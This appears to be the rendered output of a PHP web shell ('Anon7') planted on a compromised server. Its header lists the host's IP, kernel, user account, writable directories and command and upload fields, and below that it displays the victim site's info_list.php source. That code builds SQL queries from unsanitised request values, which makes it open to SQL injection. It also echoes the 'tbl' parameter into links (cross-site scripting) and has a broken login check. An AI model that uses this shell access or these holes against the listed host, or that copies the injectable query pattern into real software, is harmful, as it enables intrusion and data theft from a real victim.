SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 18.118.151.211
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rvway5nu4/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/rvway5nu4/www//info_list.php
<?php
//require_once('./setting.php');
//echo ABSPATH;  exit; //  F:\xampp\htdocs\carivon/
include("./config/data.config.php"); 
include("$LIB_DIR/functions.lib.php");
include("$LIB_DIR/db.php");
include("$LIB_DIR/db/mysqli.php"); 
include("$LIB_DIR/data.constant.php");
include("$LIB_DIR/sitemsgs.php");
include("$LIB_DIR/class.paging.php");
include("$LIB_DIR/functions.mailer.php");
$error='';
$msg='';
if( !isset( $_SESSION['SESS_id'] ) && (  $_SESSION['SESS_type'] == 'AD' )  ){  		
		$_SESSION['msg'] = '<div class="alert alert-warning" >There is no login.</div>';
		header('Location: '.SUB_DIR_PROJECT.'/index.php');
		exit;
}

global $SITE_URL, $IMG_DIR;  
$db	=	new Db( $DB_HOST, $DB_USERNAME, $DB_PASSWORD, $DB_NAME, $DB_REPORT_ERROR, $DB_PERSISTENT_CONN);



$sort_by = $_REQUEST['sort_by'];
if (!$sort_by)
{	$sort_by = "i_sortOrder";	
}

$sort_order = $_REQUEST['sort_order'];
if (!$sort_order)
{	$sort_order = "asc";
}

GLOBAL $COLORS, $IMG_DIR, $TEMPLATE_DIR, $ARR_STATUS, $ARR_USERS_INDEX;	
global $SEARCH_RECORDS,$PREV_PAGE_LINK,$NEXT_PAGE_LINK,$TOTAL_RECORDSET,$PAGE_NAVS, $CURRENT_PAGE_NO, $TOTAL_PAGES, $ARR_GLOBAL_STATUS, $ARR_USERS;


global $PROMPT, $ARR_GLOBAL_STATUS, $ARR_USERS, $ARR_STATUS, $HTTP_SESSION_VARS, $HTTP_POST_FILES, $HTTP_POST_VARS, $DOCUMENT_ROOT, $PIC_DIR, $BANNER_DIR, $TEMP_DIR, $MAP_VROOT_FILE_PATH, $ARR_INDENTITY_TYPE, $ARR_TITLE;

$CURRENT_PAGE_NO=0;
$TOTAL_PAGES=0;
$TOTAL_RECORDSET=0;

$MAX=12;
$page = ( isset( $_REQUEST['page'] ) ) ? $_REQUEST['page'] : 0 ;
if(!($page)) 
$page = 0 ;

$lastrow=$MAX+$page;


$SUB_SQL = '';
$next_links = '';
$next_links .= "&tbl=news&sort_by=$sort_by&sort_order=$sort_order";

//echo '<pre>';  print_r($_SESSION["cart_item"]);  echo '</pre>'; // exit;
    if( $_REQUEST['tbl'] == 'service'  ){
		$sql = "SELECT * FROM tbl_service  WHERE c_status = '1' AND language_type='NO' "; 
		$sql2 = "SELECT count(*) as total FROM tbl_service  WHERE c_status = '1'  AND language_type='NO' "; 
	}else if( $_REQUEST['tbl'] == 'contact' ){
		$sql = "SELECT * FROM tbl_contact  WHERE c_status = '1'  AND language_type='NO' "; 
		$sql2 = "SELECT count(*) as total FROM tbl_contact  WHERE c_status = '1' AND language_type='NO' "; 
	}else if( $_REQUEST['tbl'] == 'news' ){
		$sql = "SELECT * FROM tbl_news  WHERE c_status = '1'  AND language_type='NO' "; 
		$sql2 = "SELECT count(*) as total FROM tbl_news  WHERE c_status = '1' AND language_type='NO' "; 
	}else{
		$sql = "SELECT * FROM tbl_information  WHERE v_code = 'aboutus'  ";
		$sql2 = "SELECT count(*) as total FROM tbl_information  WHERE c_status = '1'  "; 
	}
	
	$sql .= " order by   $sort_by  $sort_order limit  $page, $MAX";
	
	
	
	
	//echo $sql;
	
	

	$result2=$db->query($sql2);  
	if($result2->num_rows) 
	{	
		$TOTAL_RECORDSET= $result2->row['total'];
	}


	$SQL2 = "";
	$data_array = array();
	
	if($TOTAL_RECORDSET > 0)
	{
		$result=$db->query($sql);
		if($result->num_rows) {		
			foreach( $result->rows AS $key=>$val){
					$data_array[]  =  $val;
					
			}
				
		}
	}


	if($page > 0)
	{	$prevpage=$page - $MAX;		
		$PREV_PAGE_LINK  = '<li data-lp="1" class="first disabled"><a href="info_list.php?page='.$prevpage.'&'.$next_links.'">←</a></li>';
	}

	if($TOTAL_RECORDSET > $lastrow)
	{	
		$NEXT_PAGE_LINK ='<li data-lp="3" class="last"><a href="info_list.php?page='.$lastrow.'&'.$next_links.'">→</a></li>';
	}
					
	$PAGE_NAVS="";
	for($i=0,$toPrint=1;$i<	$TOTAL_RECORDSET;$i+=$MAX,$toPrint++)
	{	if ($lastrow-$i==$MAX)
		{	
			$PAGE_NAVS.='<li data-lp="'.$i.'" class="active"><a href="javascript:void(0);">'.$i.'</a></li>';
			$CURRENT_PAGE_NO = $toPrint;
		}
		else
		{	
			 $PAGE_NAVS  .= '<li data-lp="1" class=""><a href="info_list.php?page='.$i.'&'.$next_links.'">'.$i.'</a></li>';
		}
		$TOTAL_PAGES=$toPrint;
	}


	?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8"/>
    <title>RV Way</title>
    <!-- mobile responsive meta -->
    <meta name="viewport" content="width=device-width, initial-scale=1">
	<?php require_once($ROOT_DIR.'/page_content/us/common/header_common_link1.php'); ?>
	<?php //require_once($ROOT_DIR.'/page_content/us/common/header_common_link2.php'); ?>
	<?php require_once($ROOT_DIR.'/page_content/us/common/header_common_link3.php'); ?>
	<?php require_once($ROOT_DIR.'/page_content/us/common/header_common_link4.php');  ?>
</head>
<body>
	
	<!-- <div class="preloader"></div> -->
    <div class="page-wrapper"  >

		<!-- space for preloader -->
		<header class="site-header header-one" >
			<div class="top-header">
				<?php require_once($ROOT_DIR.'/page_content/us/common/header_top.php'); ?>
			</div><!-- /.top-header -->
			<nav class="navbar navbar-expand-lg navbar-light header-navigation stricky header-style-one" >
				<?php require_once($ROOT_DIR.'/page_content/us/common/header_nav.php'); ?>
            </nav>
		</header><!-- /.site-header -->
		<?php // require_once($ROOT_DIR.'/page_content/minimal-bootstrap-carousel_h.php'); ?>
		<?php // require_once($ROOT_DIR.'/page_content/us/home/minimal-bootstrap-carousel.php'); ?>
		<!--Start AAAAAAAAAAAAAAAAAAAAAAAAAAAAA -->
        <div style="margin:20px 0px 20px 0px;">
            <div class="container">
			<?php if(!empty($data_array)) { 
				//echo '<pre>'; print_r($data_array); echo '</pre>';  exit;
				foreach($data_array AS $datakey=>$dataVal){
						$idd  = '';
						if( isset( $dataVal['i_newsID'] ) ){
							$idd  = $dataVal['i_newsID'];
						}else if( isset( $dataVal['i_serviceID'] )  ){
							$idd  = $dataVal['i_serviceID'];
						}else if( isset( $dataVal['i_contactID'] )  ){
							$idd  = $dataVal['i_contactID'];
						}
						
						$title  = stripslashes($dataVal['v_title']);
						$tx_short_description  = nl2br(stripslashes($dataVal['tx_short_description']));
						
						$v_thumb_image_1  = $dataVal['v_thumb_image']; 
						$v_thumb_image_path_1				= $SITE_URL.'/pic/'.$v_thumb_image_1;  
						$target = "$DOCUMENT_ROOT$PIC_DIR/$v_thumb_image_1";		
						$img_thumb_preview_1  = '';
						if ( $v_thumb_image_1 != ''  && file_exists("$target"))
						{	
							$img_thumb_preview_1 = '<img src="'.$SITE_URL.'/pic/'.$v_thumb_image_1.'" class="img-responsive"  >';
						}


				?>
                <div class="row">
                    <div class="col-lg-12" >
					 <strong style="margin: 17px 0;  display: block;  background: #ddd; padding: 5px 13px;"><?php echo $title; ?></strong>
					</div>
					<div class="col-lg-4" >
					 <?php echo $img_thumb_preview_1; ?>
					</div>
                    <div class="col-lg-8" >
					 <?php echo $tx_short_description; ?>
					</div>
					<div class="col-lg-12" >
					 <a style="float: right; text-align: right; padding: 5px 18px; background: #5cb364; color: #fff; font-weight: bold;" href="<?php echo $SITE_URL?>/infodetail.php?tbl=<?php echo $_REQUEST['tbl']; ?>&id=<?php echo $idd; ?>">Read more..</a>
					</div>
				</div>
				<HR/>
			<?php } } ?>
			</div>

			<div class="col-sm-12" style="margin-top:20px;" >
			  <div class="row d-flex justify-content-center">
				  <ul class="pagination"> 
					<?php echo $PREV_PAGE_LINK; ?>
							<?php echo $PAGE_NAVS; ?>
					<?php echo $NEXT_PAGE_LINK; ?>
				  </ul>
				  
			  </div>

		</div>
        
		<!--End AAAAAAAAAAAAAAAAAAAAAAAAAAAAA -->
	</div><!-- /.page-wrapper -->

	<footer class="crop">
		<?php  require_once($ROOT_DIR.'/page_content/us/common/footer_middle.php'); ?>
		<?php require_once($ROOT_DIR.'/page_content/us/common/footer_bottom.php'); ?>
	</footer>
    <a href="#" data-target="html" class="scroll-to-target scroll-to-top"><i class="fa fa-long-arrow-up"></i></a>
    <!-- /.scroll-to-top -->
	<?php require_once($ROOT_DIR.'/page_content/us/common/footer_js.php'); ?>

		<script >
		   $('#partner_tab_2').hide();
		   $(".tabparner").on("click", function(){
			var tabparner_id = $(this).attr('id');
				//alert("The paragraph was clicked." + tabparner_id);
				if( tabparner_id == 'tab_1' ){
					$("#tab_1").addClass("activetab");
					$("#tab_1").removeClass("deactivetab");
					$("#tab_2").removeClass("activetab");
					$("#tab_2").addClass("deactivetab");
					$('#partner_tab_1').show();
					$('#partner_tab_2').hide();
				}
				
				if( tabparner_id == 'tab_2' ){
					$("#tab_2").addClass("activetab");
					$("#tab_2").removeClass("deactivetab");
					$("#tab_1").removeClass("activetab");
					$("#tab_1").addClass("deactivetab");
					$('#partner_tab_1').hide();
					$('#partner_tab_2').show();
				}
				
		   }); 
		
		</script>


    </body>
</html>

Anon7 - 2022
SCDN GOK